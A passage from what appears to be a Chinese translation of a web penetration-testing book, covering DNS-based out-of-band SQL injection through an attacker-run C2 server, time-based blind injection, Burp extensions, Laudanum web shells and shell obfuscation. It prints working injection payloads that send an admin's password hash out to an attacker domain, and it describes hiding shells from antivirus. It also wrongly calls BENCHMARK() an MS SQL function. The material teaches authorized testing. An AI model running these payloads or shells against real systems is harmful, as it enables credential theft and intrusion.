图 6.6:修改后的 /etc/inetsim/inetsim.conf 配置文件中的 dns_default_* 设置
默认情况下,INetSim 会对请求作出响应,并返回针对查询的协议的默认“假”数据。这些“假”文件存储在/var/lib/inetsim中,并且描述性较强。为了更加隐蔽,我们应该至少在默认的 HTTP 响应中添加一些无害的文本。
以下echo命令将用良性 JavaScript 代码替换示例 HTTP 文件的内容:
**root@spider-c2-1:~# echo 'console.log("1");' > /var/lib/inetsim/http/fakefiles/sample.html**
**root@spider-c2-1:~# echo 'console.log("2");' > /var/lib/inetsim/http/wwwroot/index.html**
为了将我们的简单 C2 服务器上线,我们必须启动 INetSim 守护进程,并使用--bind-address选项告诉它将服务监听器绑定到0.0.0.0,如图所示:
**root@spider-c2-1:~# inetsim --bind-address=0.0.0.0**
**INetSim 1.2.7 by Matthias Eckert & Thomas Hungenberg**
**[...]**
**Forking services...**
*** dns_53_tcp_udp - started (PID 4110)**
*** https_443_tcp - started (PID 4112)**
*** http_80_tcp - started (PID 4111)**
**done.**
**Simulation running.**
我们可以通过访问委托域范围内的随机子域,或者从我们的攻击 Kali 机器发出dig查询,来测试 INetSim 提供的 DNS 服务器:
**root@kali:~# dig +short c2FudGEgY2xhdXNlIGlzIG5vdCByZWFs.c2.spider.ml**
**35.196.100.89**
这是我们的 DNS 查询在互联网上的路径:
-
客户端向其本地 DNS 服务器请求答案
-
本地 DNS 服务器转发到互联网根名称服务器
-
根服务器将查询转发到 ML 顶级域的权威服务器
-
ML 权威服务器将查询转发到
spider.ml权威服务器 -
我们之前添加的 NS 记录会将查询转发到我们的 C2 服务器
由于我们控制着负责c2区域的 DNS 服务器,我们可以检查/var/log/inetsim/service.log文件,并使用tail命令观察对dig请求的响应,如下所示:
**root@spider-c2-1:~# tail /var/log/inetsim/service.log**
**[...] [11033] [dns_53_tcp_udp 11035] connect**
**[...] [11033] [dns_53_tcp_udp 11035] recv: Query Type A, Class IN, Name c2FudGEgY2xhdXNlIGlzIG5vdCByZWFs.c2.spider.ml**
**[...] [11033] [dns_53_tcp_udp 11035] send: c2FudGEgY2xhdXNlIGlzIG5vdCByZWFs.c2.spider.ml 3600 IN A 35.196.100.89**
**[...] [11033] [dns_53_tcp_udp 11035] disconnect**
**[...] [11033] [dns_53_tcp_udp 11035] stat: 1 qtype=A qclass=IN qname=c2FudGEgY2xhdXNlIGlzIG5vdCByZWFs.c2.spider.ml**
**root@spider-c2-1:~#**
C2 基础设施已准备好进行带外漏洞发现扫描。
确认
现在云服务器已正确配置为记录通过 DNS 接收到的请求,我们可以回到之前的示例,利用云服务器进行带外确认漏洞。
你会记得,存在漏洞的应用允许通过name参数执行未经过滤的输入到 SQL 服务器。作为攻击者,我们有时面临的挑战是,应用在输入时没有表现出不同的行为,从而很难确认此类漏洞的存在。有时,我们甚至幸运地能够检查源代码,在这种情况下我们可以直接跳到利用漏洞的步骤。
WAITFOR DELAY有效载荷适用于大多数盲 SQL 注入,因为大多数应用视图依赖于控制器执行的 SQL 查询结果。
SELECT * FROM users WHERE user = 'Dade';**WAITFOR DELAY '0:0:20' --**';
在这种令人惊讶的常见场景中,漏洞查询是异步执行的,且页面没有返回任何有用的信息,我们可以欺骗 SQL 服务器联系我们新创建的 C2 基础设施,从而在没有应用帮助的情况下得到确认。
完成此操作的有效载荷将如下所示:
';declare @q varchar(99);set @q='\\sqli-test-payload-1.c2.spider.ml\test'; exec master.dbo.xp_dirtree @q;--
当后台系统构建查询以执行时,它将转换为以下内容:
SELECT * FROM users WHERE user = 'Dade';**declare @q varchar(99);set @q='\\sqli-test-payload-1.c2.spider.ml\test'; exec master.dbo.xp_dirtree @q;--**';
再次检查我们的 C2 服务器上的/var/log/inetsim/service.log文件时,我们可以看到来自 SQL 服务器后台的查询,试图在执行共享目录列表之前解析sqli-test-payload-1.c2.spider.ml域名:
[1438] [dns_53_tcp_udp 1441] connect
[1438] [dns_53_tcp_udp 1441] recv: Query Type A, Class IN, Name **sqli-test-payload-1.c2.spider.ml**
[1438] [dns_53_tcp_udp 1441] send: sqli-test-payload-1.c2.spider.ml 3600 IN A **35.196.100.89**
[1438] [dns_53_tcp_udp 1441] disconnect
我们已强制应用程序向我们控制的服务器发起 DNS 查询。通过在 C2 日志中看到非常特定的查询,我们能够确认存在可利用的 SQL 注入漏洞。
异步数据泄露
这种特定类型的漏洞还有一个挑战。由于它的异步特性,传统的数据泄露方法无法使用。虽然查询可能会成功执行,且 SQL 服务器会延迟查询结果,但我们永远无法衡量这一点,因为我们所针对的应用程序不会等待 SQL 服务器的响应,而是立即返回。
我们需要稍微动点脑筋才能提取数据并成功攻破目标。MS SQL 服务器、MySQL、PostgreSQL 等都提供了实现我们目标的方法。我们将只讨论一种 MS SQL 的方法,但凭借一些创意,任何数据库引擎都可以为攻击者所用。还要记住,这种方法不仅可以用于确认 SQL 注入漏洞,也可以用于 XSS 和 XXE 漏洞,这些内容在本书的其他章节中有讨论。
让我们重新回顾一下我们用来确认漏洞的方法。我们传入了一个查询,强制 SQL 服务器解析一个任意的域名,试图通过 SMB 列出网络共享的内容。由于我们控制着该共享域名的 DNS 服务器,我们可以拦截发送到它的任何查询。确认漏洞的过程只是观察到应用服务器尝试解析我们传入的网络共享域名。要实际获取数据,我们需要构建一个执行这些操作的查询:
-
按角色选择一个高价值用户(
admin) -
选择该用户的密码
-
用句点连接这两个值:[admin].[hash]
-
将该值添加到
c2.spider.ml域名前面 -
强制执行 DNS 查询
与我们的第一个载荷类似,我们将声明一个变量@q,该变量将存储我们从数据库中提取的数据:
declare @q varchar(99);
接下来,我们将使用几个SELECT语句来读取第一个具有admin角色的账户的user字段:
select top 1 user from users where role = 'admin'
我们还将选择该用户的password字段:
select top 1 password from users where role = 'admin'
为了泄露这些数据,我们需要使用 MS SQL 的CONCAT()函数来拼接这两个值:
select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from users where role = 'admin'))
拼接的结果将存储在@q变量中,如下所示:
set @q=(select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from users where role = 'admin')));
最后,我们执行xp_fileexist MS SQL 函数,强制发起 DNS 和 SMB 请求到我们的 C2 服务器,并将@q的内容作为子域:
exec('xp_fileexist **''\\'+@q+'.c2.spider.ml\test''**');--'
紧跟在双斜杠前面的双引号和单引号是 Windows 方式的转义单引号。
最终的载荷有点凌乱,但应该能奏效。我们将把所有语句合并为一行,每个语句之间用分号分隔:
';declare @q varchar(99);set @q=(select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from users where role = 'admin'))); exec('xp_fileexist **''\\'+@q+'.c2.spider.ml\test''**');--
在后台,执行的 SQL 查询将如下所示:
SELECT * FROM users WHERE user = 'Dade';**declare @q varchar(99);set @q=(select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from users where role = 'admin'))); exec('xp_fileexist ''\\'+@q+'.c2.spider.ml\test''');--**';
就像带外确认一样,我们声明了一个变量,其值将是连接的管理员用户名及其相应的密码哈希。最终命令指示 SQL 服务器通过 EXEC() MS SQL 函数执行 xp_fileexist 命令。和之前一样,我们不关心结果;我们只是想强制服务器发出一个我们控制的域名的 DNS 查询。
C2 服务器应该已收到一个包含从数据库中提取的凭证的 DNS 查询,以域名的形式表示:
**[...] [1438] [dns_53_tcp_udp 1441] connect**
**[...] [1438] [dns_53_tcp_udp 1441] recv: Query Type AAAA, Class IN, Name administrator.a7b0d65fdf1728307f896e83c306a617.c2.spider.ml**
**[...] [1438] [dns_53_tcp_udp 1441] disconnect**
**[...] [1438] [dns_53_tcp_udp 1441] stat: 1 qtype=AAAA qclass=IN**
**qname=administrator.a7b0d65fdf1728307f896e83c306a617.c2.spider.ml**
很好!现在我们要做的就是“破解”哈希值。我们可以启动John the Ripper或hashcat来执行字典攻击或暴力破解,或者检查该值是否已经被计算过。

图 6.7:在 Hashtoolkit.com 上快速搜索已检索的密码哈希值,值为“summer17”,并在结果中显示出来
注意
Hash Toolkit 让你可以搜索 MD5 和 SHA-* 哈希值,并快速返回它们的明文对应值。最常见的密码已经被某人破解或计算过,并且像 Hash Toolkit 这样的站点提供了结果的快速索引。与互联网上的任何事物一样,要注意你向不受信任的媒介提交的数据。Hash Toolkit 可通过 hashtoolkit.com/ 访问。
数据推断
让我们考虑一个更简单的场景,即应用程序没有异步处理负载。这是一个更常见的场景。通常,在盲注攻击的情况下,我们可以使用注入查询中的条件语句从数据库中推断数据。如果前面的示例漏洞不是异步的,我们可以在响应中引入显著的延迟。结合传统的 if-then-else 语句,我们就可以对试图获取的数据做出假设。
我们为这种类型的攻击所使用的高级伪代码如下所示:
if **password** starts with 'a'
**delay(5 seconds)**
else
return false
if **password** starts with 'aa'
delay(5 seconds)
else
**return true**
if **password** starts with 'ab'
**delay(5 seconds)**
else
return false
[...]
我们可以通过观察服务器的响应时间,反复检查特定用户的 password 字段内容。在前面的伪代码中,经过前三次迭代后,我们就能推断出 password 值以 ab 开头。
为了生成可观察到的延迟,在 MS SQL 中,我们可以使用 BENCHMARK() 函数请求服务器反复执行某个任意操作。如果我们使用一个 CPU 密集型的函数,例如 MD5(),则会在查询返回时引入一个显著且可测量的延迟。
以下 MS SQL 函数可用于引入服务器响应中的延迟:
**BENCHMARK**(5000000,**MD5**(CHAR(99)))
基准操作将计算小写字母“c”的 MD5 哈希值,该字符由 CHAR(99) 表示,计算五百万次。如果服务器性能非常强大或非常慢,我们可能需要调整迭代次数。
如果迭代次数过低,服务器将迅速返回结果,这会使得判断注入是否成功变得更加困难。我们也不希望引入过多的延迟,因为枚举数据库可能需要几天时间。
最终的攻击载荷将结合IF语句和基准操作。我们还将使用UNION关键字,将现有的SELECT与我们自己的查询合并。
' UNION SELECT IF(SUBSTRING(**password**,1,1) = CHAR(97),BENCHMARK(5000000,MD5(CHAR(99))),null) FROM users WHERE role = 'admin';--
要执行的后端 SQL 查询将再次如下所示:
SELECT * FROM users WHERE user = 'Dade' **UNION SELECT IF(SUBSTRING(password,1,1) = CHAR(97),BENCHMARK(5000000,MD5(CHAR(99))),null) FROM users WHERE role = 'admin';--**'
如果响应中存在显著的延迟,我们可以推测管理员用户密码以小写字母“a”开头。为了找到完整的密码值,我们需要对数百个查询进行循环,并修改SUBSTRING()参数,随着密码值的逐步揭示,逐步“走”过字符串。
总结
在本章中,我们使用了一个相当常见的 SQL 注入示例,展示了在应用程序没有向攻击者提供任何反馈的情况下,漏洞发现的潜在问题。针对这些障碍是有应对方法的,一些技巧甚至能够异步地提取敏感数据。我们还探讨了如何在盲注场景中通过推测手动获取数据。
这里的关键要点是能够以攻击者可测量的方式改变应用程序的行为。即使是一些更加安全的应用程序开发环境,它们会积极过滤出去的流量,通常也会允许至少让 DNS UDP 数据包通过。过滤出口 DNS 查询是一项困难的任务,我并不羡慕任何负责执行此任务的安全团队。作为攻击者,我们再次能够充分利用这些局限性,正如我在之前的示例中所展示的,通过利用一个难以发现的漏洞,完全破坏应用程序。
在接下来的章节中,我们将探讨如何自动化一些活动,包括利用 Burp 的 Collaborator 功能,使得带外发现变得更容易。
第七章 自动化测试
在本章中,我们将通过攻击代理使我们的工作变得更加轻松。通过开源插件扩展功能可以节省短期项目中的宝贵时间,并确保我们不会错过任何轻松的漏洞。总有一些领域可以自动化,从而使整个渗透测试过程更加高效。幸运的是,我们不需要从头开始编写一切,因为黑客社区几乎为任何自动化问题都提供了解决方案。
在前几章中,我们讨论了带外漏洞利用,在这里我们将通过使用 Burp 的云服务器来自动化这种类型的漏洞发现。我们还将讨论如何在云端或本地部署我们自己的 Burp Collaborator 服务器实例,以便在评估过程中获得更大的控制权。
本章将向你介绍一些有价值的工具,最终你应该能够:
-
扩展攻击代理以自动化繁琐的任务
-
配置 Burp 使用公共 Collaborator 实例
-
部署我们自己的 Collaborator 实例
扩展 Burp
Burp Suite 是一个出色的攻击代理,它开箱即用就提供了一些很棒的功能。如前几章所述,Intruder 是一个灵活的暴力破解工具,Repeater 允许我们检查和微调攻击,Decoder 简化了数据操作。Burp 的出色之处在于它可以通过社区开发和维护的扩展来扩展功能。Burp Suite 的创建者 PortSwigger 还维护了一个在线扩展目录,叫做 BApp 商店。BApp 商店可以通过 Burp Suite 中的 Extender 标签访问。

图 7.1:BApp 商店
使用扩展,我们可以被动地检查过时的库,定制构建 sqlmap 命令行,并快速检查身份验证或授权漏洞。
Burp 扩展通常使用 Java、Python 或 Ruby 编写。由于 Burp 是一个 Java 应用程序,Java 扩展可以直接开箱即用。对于用 Python 或 Ruby 编写的扩展,我们需要让 Burp Suite 指向 Jython 和 JRuby 接口。Python 和 Ruby 是非常强大的语言,有些人可能认为它们比 Java 更简单易用。BApp 商店主要是用 Java 和 Jython 编写的扩展,但偶尔也会有 JRuby 的需求。
附加扫描器检查,例如,是一个用 Python 编写的扩展。顾名思义,该扩展将增强 Burp 扫描器模块,增加一些额外的检查。然而,在我们安装它之前,Burp 会提示我们下载 Jython。这意味着 Extender 的 Python 环境尚未正确配置,这在新的 Burp Suite 安装中是很常见的。
我们可以在 BApp 商店找到附加扫描器检查,且 安装 按钮会被灰显。BApp 商店 页面向我们提供了下载 Jython 的选项。

图 7.2:Burp Suite BApp 商店页面,提供附加扫描器检查
设置 Burp 以支持 Jython 和 JRuby 的过程非常简单。两种库实现均以独立 JAR 文件的形式提供,可以直接加载到 Burp 中。
注意
Jython 可通过 www.jython.org/downloads.html 作为独立 JAR 文件下载。
注意
JRuby 可通过 jruby.org/download 作为完整的 JAR 文件下载。
在 Extender 模块的 选项 标签中,我们可以指定刚刚下载的独立 Jython 和 JRuby JAR 文件:

图 7.3:配置 Jython 和 JRuby 环境
环境配置正确后,BApp 商店现在应该允许我们安装附加扫描器检查扩展。点击 刷新列表 按钮应能更新配置更改并启用 安装 按钮:

图 7.4:配置环境前提条件后启用安装按钮
身份验证和授权滥用
最繁琐的应用安全测试之一是身份验证或授权检查。验证此类漏洞的基本步骤大致如下:
-
使用一个已知的有效账户进行身份验证
-
捕获会话 ID
-
使用该会话 ID 爬取应用程序
-
打开一个新的应用程序会话
-
使用一个单独的已知有效账户进行身份验证
-
捕获会话 ID
-
使用新的会话 ID 重播爬虫:
- 检查垂直或水平提升漏洞
-
匿名重播爬虫,不使用会话 ID:
- 检查身份验证绕过问题
手动执行此操作有点像噩梦,且浪费宝贵时间。幸运的是,在 BApp 商店中,有一个扩展可以帮助自动化大部分操作,并在第 3 步早期警告我们任何潜在问题。
Autorize 将为我们完成繁重的工作,我们可以通过 Burp Suite 界面快速安装它。

图 7.5:BApp 商店中的 Autorize
简单来说,一旦配置完成,Autorize 将重播我们对应用程序发出的每个请求两次,并将响应与原始请求进行比较。
第一个重放的请求将包含第二个已知正常账户的会话 ID,而第二个重放的请求将是一个匿名请求。原始请求的响应应该成功,而另外两个请求应失败,提示一个独立的响应,可能是403,或者至少修改响应体以告知授权错误。Autorize 将查看这两个响应并根据情况发出警报。如果第一个重放请求的响应与原始请求的响应匹配,这意味着两个账户都能访问该页面。如果这是一个管理门户,并且只有一个账户是管理员,那么我们就发现了一个严重的授权问题。
Autorize 还可以帮助我们通过第二个重放请求发现更严重的漏洞,该请求删除了Cookie头,变成了一个匿名请求。如果这个请求的响应与原始请求的响应匹配,说明应用存在身份验证绕过问题。
授权(Autorize)流程
通过攻击代理发起一个新的请求:
-
使用另一个会话 ID 替换
Cookie头 -
重放请求:
- 响应是否与原始请求的响应匹配?警报[已绕过!]
-
删除
Cookie头 -
重放请求:
- 响应是否与原始请求的响应匹配?警报[已绕过!]
安装后,Autorize 必须配置正确的Cookie头,以便能够识别目标应用中的问题。
首先,我们需要捕获一个低权限用户的Cookie头和会话 ID。这可以通过打开一个新的浏览会话并查看服务器响应来捕获。我们将使用一个管理员账户浏览该应用。
在使用低权限账户登录后,我们可以从任何请求中获取会话值:
GET /admin/ HTTP/1.1
Host: panel.c2.spider.ml
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://panel.c2.spider.ml/
**Cookie: PHPSESSID=g10ma5vjh4okjvu7apst81jk04**
Connection: close
Upgrade-Insecure-Requests: 1
最好抓取整个Cookie头,因为一些应用不仅使用一个 Cookie 来跟踪用户会话。
在Autorize标签中,我们可以在配置部分输入这个值:

图 7.6:授权(Autorize)标签和配置界面
最好修改 Autorize 的拦截过滤器,只针对我们目标应用进行操作。浏览器在正常的爬行会话期间可能会向外部或第三方应用发出数百个请求。我们不希望为超出范围的项目生成三倍的流量。
一旦我们点击启用按钮,Autorize 将开始重放请求:

图 7.7:Autorize Cookie 配置面板
一旦配置了Cookie值,我们就可以使用高权限用户账户对应用进行身份验证并浏览管理面板。所有后续请求将使用低权限和匿名会话进行测试。
通过点击管理面板,Autorize 能够检测到/admin/submit.php页面中的纵向权限提升。

图 7.8:Autorize 检测到一个问题
看起来虽然这个页面在管理员面板入口点被 403 错误隐藏,无法被普通用户访问,但它是可以直接访问的,并且只检查用户是否已登录,而不检查他们是否拥有管理员权限。
我们不需要辛苦地筛选我们发送的所有请求,修改会话 ID,并重新播放它们。Autorize 为我们做了这些,最终的结果是一个有趣的授权滥用漏洞。
瑞士军刀
你会经常遇到的一个常见任务是基于一些特定目标数据生成自定义词典。这会提高你的成功几率,但也有点乏味。可以用类似 Python 的脚本来完成,但为什么不直接在 Burp 中完成呢?
另一个常见任务是,我经常对应用中的特定 URL 发起 sqlmap 攻击。身份验证 SQL 注入攻击要求我们在命令行中发送会话 cookies,而对于 POST 请求,这会让构建 sqlmap 命令行变得繁琐。CO2 是一个 Burp Suite 插件,它为攻击代理提供了若干增强功能,能够与其他用户界面部分良好集成,并且可以在其他工具与 Burp 之间创建一个顺畅的工作流程。
我之前说过,作为渗透测试员和红队成员,我们知道时间不是我们和坏人共同拥有的奢侈品。参与的工作通常是时间敏感的,而且资源非常紧张。从 Burp 中复制并粘贴 Cookie 头到终端发起 sqlmap 攻击似乎没什么大不了,但积少成多。如果目标应用有多个潜在的 SQL 注入点怎么办?如果你正在测试三四个不同的应用,并且它们没有共享相同的登录凭证呢?自动化让生活更轻松,让我们更高效。
注意
CO2 插件可以从 BApp Store 或者 GitHub 下载,网址是 github.com/portswigger/co2。
安装 CO2 和其他 BApp Store 插件一样简单,它会在 Target、Proxy、Scanner 以及其他模块的上下文菜单中添加一些选项。通过 Burp 发出的许多请求可以直接发送到 CO2 的一些组件。这样做会自动填写大部分必需的参数,节省时间并减少人为错误的可能性。
sqlmap 帮助器
CO2 在 Burp 用户界面中提供了一个 sqlmap 封装器,名为 SQLMapper。如果我们发现了潜在的注入点,或者可能是 Burp 的主动扫描器通知我们有 SQL 注入漏洞,我们可以通过上下文菜单将请求直接发送到 CO2 的 SQLMapper 组件:

图 7.9:从 CO2 发送请求到 SQLMapper 的上下文菜单
在 CO2 扩展选项卡中,SQLMapper 部分应该会自动填充从所选 URL 获取的一些值。
此时,我们可以配置组件,指向适当的 sqlmap 脚本和 python 可执行文件。
注意
Kali 发行版已经安装了相对较新的 sqlmap 版本,但最新的代码可以从 GitHub 克隆,地址是 github.com/sqlmapproject/sqlmap。
配置 按钮将允许我们将 CO2 指向正确的可执行文件,从用户界面执行 sqlmap。运行 按钮将启动一个新的终端,运行 sqlmap 并传递所有选项。

图 7.10:CO2 SQLMap 配置弹窗
在 Kali 上,sqlmap 工具位于 /usr/bin 文件夹中,并且没有 .py 扩展名。如果你正在使用 GitHub 仓库中的最新版本,可能需要指定完整路径。
首先,我们可以使用 git clone 命令从 GitHub 克隆最新的 sqlmap 代码:
**root@kali:~/tools# git clone https://github.com/sqlmapproject/sqlmap**
**Cloning into 'sqlmap'...**
**remote: Counting objects: 60295, done.**
**remote: Compressing objects: 100% (22/22), done.**
**remote: Total 60295 (delta 26), reused 33 (delta 22), pack-reused 60251**
**Receiving objects: 100% (60295/60295), 59.88 MiB | 14.63 MiB/s, done.**
**Resolving deltas: 100% (47012/47012), done.**
sqlmap.py 脚本将位于克隆的 sqlmap 目录中:
**root@kali:~/tools/sqlmap# ls -lah sqlmap.py**
**-rwxr-xr-x 1 root root 16K Jun 1 15:35 sqlmap.py**
**root@kali:~/tools/sqlmap#**
sqlmap 是一款功能强大的工具,拥有大量选项,可以修改从用户代理到注入技术,甚至是每个探针的攻击性级别。通常情况下,我们需要查阅工具文档以找到所需的开关,但借助 CO2 的 SQLMapper 插件,我们可以一目了然地找到需要的选项。
当我们选择适当的选项并填写空白时,CO2 会构建一个 sqlmap 命令,我们可以通过用户界面运行它,或者直接复制并在我们选择的终端中运行。

图 7.11:CO2 的 SQLMapper 插件
运行 按钮将启动一个新的终端窗口,并以选定的选项启动 sqlmap:

图 7.12:sqlmap 运行并使用已选择的选项
注意
sqlmap 将把每次攻击的会话保存在主目录下的文件夹中:~/.sqlmap/output/[target]
**root@kali:~/.sqlmap/output/c2.spider.ml**
**# tree**
**.**
**├── log**
**├── session.sqlite**
**└── target.txt**
**0 directories, 3 files**
**root@kali:~/.sqlmap/output**
**/c2.spider.ml#**
Web Shells
CO2 瑞士军刀还提供了一个简单的方法,可以为多种服务器端语言生成 Web Shell。如果我们成功地将一个 Shell 上传到其中一台机器,我们就需要一个简单的、较为安全的 Shell 来提升权限,最终达到我们的目标。
引入 Laudanum,这是一个包含多种后端基本 Web Shell 的集合,支持 ASP、JSP、ASPX、Java 和 PHP。Laudanum 还允许我们指定一个随机连接令牌,并按 IP 限制访问。这些 Shell 允许远程代码执行,因此在建立更强大的反向 Shell 之前,保护它们是很有意义的。
在 CO2 的 Laudanum 组件中,我们可以指定希望设置的 Shell 类型、允许连接的 IP 地址,以及用于提供更多保护的随机化令牌。
生成 Shell 的过程很简单。首先,我们打开 CO2 中的 Laudanum 标签页,然后:
-
选择 Shell 类型:
- 在此场景中的 PHP Shell
-
用逗号分隔的 IP 列表,不包含空格:
127.0.0.1,192.168.1.123
-
点击生成新令牌按钮获取一个随机的令牌值:

图 7.13:Laudanum CO2 插件
要将文件保存在磁盘上的某个位置,点击生成文件按钮。生成的 shell 内容将如下所示:

图 7.14:Laudanum shell 源代码
一旦上传到目标,访问 shell 时我们必须确保我们的外部 IP 与白名单中的一个 IP 匹配,并且每个请求还必须指定随机生成的令牌。
我们可以通过 laudtoken URL 参数传递此令牌,并通过 laudcmd 执行命令。这些参数的值也可以通过 POST 传递。
需要注意的是,即使 URL 中的令牌正确,来自未知 IP 的请求也会被 404 响应拒绝。
在这里,我们使用 PowerShell 的 Invoke-WebRequest 命令来测试来自 Windows 机器的简单 web 请求。由于请求不是来自已知的 IP(即我们在创建 shell 时指定的 IP),因此请求被拒绝。

图 7.15:来自未知 IP 的被拒绝的 shell 请求
我们的客户端会赞赏这些额外的安全检查;毕竟,我们的目的是发现漏洞,而不是引入新的漏洞。不言而喻,这并不是万无一失的;这个文件应该像我们丢在目标上的任何其他痕迹一样,在清理时被清除。
通过正确的外部 IP 和令牌,我们可以使用 Burp Suite 的 Repeater 模块控制 shell。
要发出请求,我们可以填写最小的 GET 请求头,如下截图所示。我们需要配置的是目标,在Repeater标签的右上角;通过 GET 请求的 URL;以及 laudtoken 和 laudcmd 的值。

图 7.16:成功访问受保护的 Laudanum shell
混淆代码
在前一节中由 CO2 生成的 Laudanum shell 工作得非常好,但如果防守者稍微仔细查看源代码,肯定会引起一些警觉。理想情况下,我们希望保持文件大小尽可能小,并且尽量让代码更难分析。注释、正确缩进的代码以及描述性的变量名使得弄清楚 ads.php 实际做什么变得轻而易举。
让我们让分析变得更加复杂。代码混淆器通常用于数字版权管理软件、反盗版模块,以及当然,恶意软件。虽然没有任何代码混淆器能阻止经验丰富的逆向工程师,但它确实会减缓进程;也许足够长的时间让我们转移到另一台服务器或应用程序,但至少足够长的时间来躲避病毒扫描的特征码。理想情况下,我们删除注释,重命名变量,并尽量隐藏 shell 的实际功能,但手动进行这些操作并不明智。人为错误可能引入代码问题,混淆反而可能导致更多的问题。
混淆器将应用程序(或在我们的例子中,Web shell)的源代码转换为紧凑的代码块,去除注释,变量名称随机,使得分析变得困难。这样做的好处是,即使代码被混淆且难以被人类理解,只要语法正确,解析器或编译器并不在乎。应用程序应该可以正常运行混淆后的代码。
几乎每种编程语言都有相应的源代码混淆器。为了混淆 PHP,我们可以使用 naneau 的绝妙应用 PHP Obfuscator,这是一个易于使用的命令行工具。
注意
PHP Obfuscator 可以从 github.com/naneau/php-obfuscator 克隆。
我们将把应用程序存储在~/tools/phpobfs目录中,并通过git clone从 GitHub 克隆它:
**root@kali:~/tools# git clone https://github.com/naneau/php-obfuscator phpobfs**
**Cloning into 'phpobfs'...**
**[...]**
**root@kali:~/tools#**
PHP 混淆器需要 composer,可以通过在 Kali 或类似的发行版上使用apt-get install快速安装:
**root@kali:~/tools/# apt-get install composer**
**[...]**
**root@kali:~/tools/#**
在新克隆的phpobfs目录中,我们可以发出composer install命令来在bin文件夹中生成一个obfuscate工具:
**root@kali:~/tools/phpobfs# composer install**
**Do not run Composer as root/super user! See https://getcomposer.org/root for details**
**Loading composer repositories with package information**
**Updating dependencies (including require-dev)**
**[...]**
**Writing lock file**
**Generating autoload files**
**root@kali:~/tools/phpobfs#**
如果一切运行成功,我们应该会在bin文件夹中得到一个可执行脚本obfuscate,我们可以用它来混淆我们的 Laudanum shell。
我们可以使用带有obfuscate参数的obfuscate工具,并传入要混淆的文件以及输出目录:
**root@kali:~/tools/phpobfs# bin/obfuscate obfuscate ~/tools/shells/ads.php ~/tools/shells/out/**
**Copying input directory /root/tools/shells/ads.php to /root/tools/shells/out/**
**Obfuscating ads.php**
**root@kali:~/tools/phpobfs#**
如果我们检查新混淆后的ads.php文件,现在我们看到的是这块混乱的代码:

图 7.17:混淆后的 Laudanum shell
一些字符串仍然可见,我们可以看到 IP 和令牌值仍然完好无损。变量被更改为非描述性的随机单词,注释被去除,结果非常紧凑。两个 shell 之间的大小差异也很明显:
**root@kali:~/tools/shells# ls -lah ads.php out/ads.php**
**-rw-r--r-- 1 root root 5.2K 14:14**
**ads.php**
**-rw-r--r-- 1 root root 1.9K 14:14 out/ads.php**
**root@kali:~/tools/shells#**
它不是万无一失的,但应该能让我们在雷达下飞得更久。PHP Obfuscate 应该适用于所有 PHP 代码,包括你可能自己编写的 shell。
Burp Collaborator
在上一章中,我们研究了如何发现应用程序中不易被攻击者察觉的隐蔽漏洞。如果应用程序在我们输入意外数据时没有反应,可能是因为它没有漏洞且代码正确地验证了输入,但也可能意味着存在漏洞,只是它被隐藏了。为了识别这类漏洞,我们传入一个有效载荷,强制应用程序连接回我们的 C2 服务器。
这是一种非常有用的技术,但过程是手动的。我们传入自定义的有效载荷,并等待服务器的回传,以确认漏洞的存在。大多数应用程序评估是有限时的,在一个庞大的攻击面上手动检查每个输入是不现实的。我们必须自动化这个过程。
幸运的是,Burp Suite 的专业版允许我们使用 Collaborator 服务器基础设施来帮助自动化发现离带外漏洞。
注意
免费版不支持 Collaborator;然而,第六章,离带外利用,描述了该过程以及如何构建一个可以用于相同目的的 C2 基础设施。
Collaborator 服务器类似于我们在 第六章,离带外利用,中设置的 C2 服务器,但有一些额外的功能。特别是,它与 Burp 的扫描模块集成,能自动检查这些难以发现的漏洞。与更手动的方法相比,它也更不容易出现误报。
Collaborator 设置可以在 项目选项 标签下找到,可以禁用或启用以使用默认服务器或私有实例。
高级别上,Collaborator 工作方式如下:
-
Burp 扫描器生成了一个有效载荷来检测 SQL 注入:
';declare @q varchar(99);set **@q='\\bXkgY3JlZGl0IGNhcmQgbnVtYmVyIGlz.burpcollaborator.net\test'**; exec master.dbo.xp_dirtree **@q**;-- -
应用程序异步执行 SQL 查询
-
SQL 注入成功
-
SQL 服务器尝试列出随机生成的
burpcollaborator.net域上的 SMB 共享 -
执行了 DNS 查找:
- Collaborator 服务器记录了这个 DNS 请求尝试
-
成功建立 SMB 连接并返回虚拟数据:
- Collaborator 服务器也记录了这个 SMB 连接尝试
-
Burp 客户端与 Collaborator 服务器进行通信
-
Collaborator 服务器报告了两个问题:
-
发出了一个离带外的 DNS 请求
-
观察到一个离带外的 SMB 服务交互
-
Collaborator 的优势在于,随机生成的唯一域名实际上可以与扫描器发出的特定请求关联。这能准确地告诉我们哪个 URL 和哪个参数易受 SQL 注入攻击。
公共 Collaborator 服务器
默认的 Collaborator 服务器是由 Burp Suite 开发者 PortSwigger 操作的实例。它位于 burpcollaborator.net,并且 Burp 中内置了支持。
正如你所预期的那样,默认的 Collaborator 实例可以被所有拥有 Burp 专业版副本的用户访问,资源在所有用户之间共享。从隐私角度看,用户无法看到彼此的 Collaborator 请求。每个有效载荷都是唯一的,由 Burp Suite 为每个请求单独生成。通信是加密的,且需要一个唯一的、每个用户专属的密钥才能从服务器中检索任何数据。
注意
Burp Collaborator 采取了几个步骤以确保数据的安全。你可以在 portswigger.net/burp/help/collaborator 上阅读更多关于整个过程的内容。
要启用 Collaborator,我们可以进入项目选项下的Misc标签,选择使用默认 Collaborator 服务器单选按钮,如下所示:

图 7.18:配置 Burp Collaborator 服务器
要使用公共服务器,不需要更多的信息。我们可以通过点击配置页面上的运行健康检查...按钮,来发起一次健康检查,看看 Burp Suite 客户端是否可以连接到该服务器,开始测试之前。一个新窗口将弹出并显示正在进行的健康检查,每个检查的状态如下所示:

图 7.19:Burp Collaborator 健康检查
如果你的网络环境是由仍然阻止垃圾邮件机器人使用的端口进行外发连接的 ISP 提供的,SMTP 连接问题是很常见的。你的目标可能并不在国内的 ISP 上,这类限制可能并不存在,至少在 ISP 层级上是如此。外发过滤可能会阻碍带外发现,在这种情况下,局域网上的私有实例就派上用场了。我们将在本章后面讨论如何部署一个私有 Collaborator 服务器。
服务交互
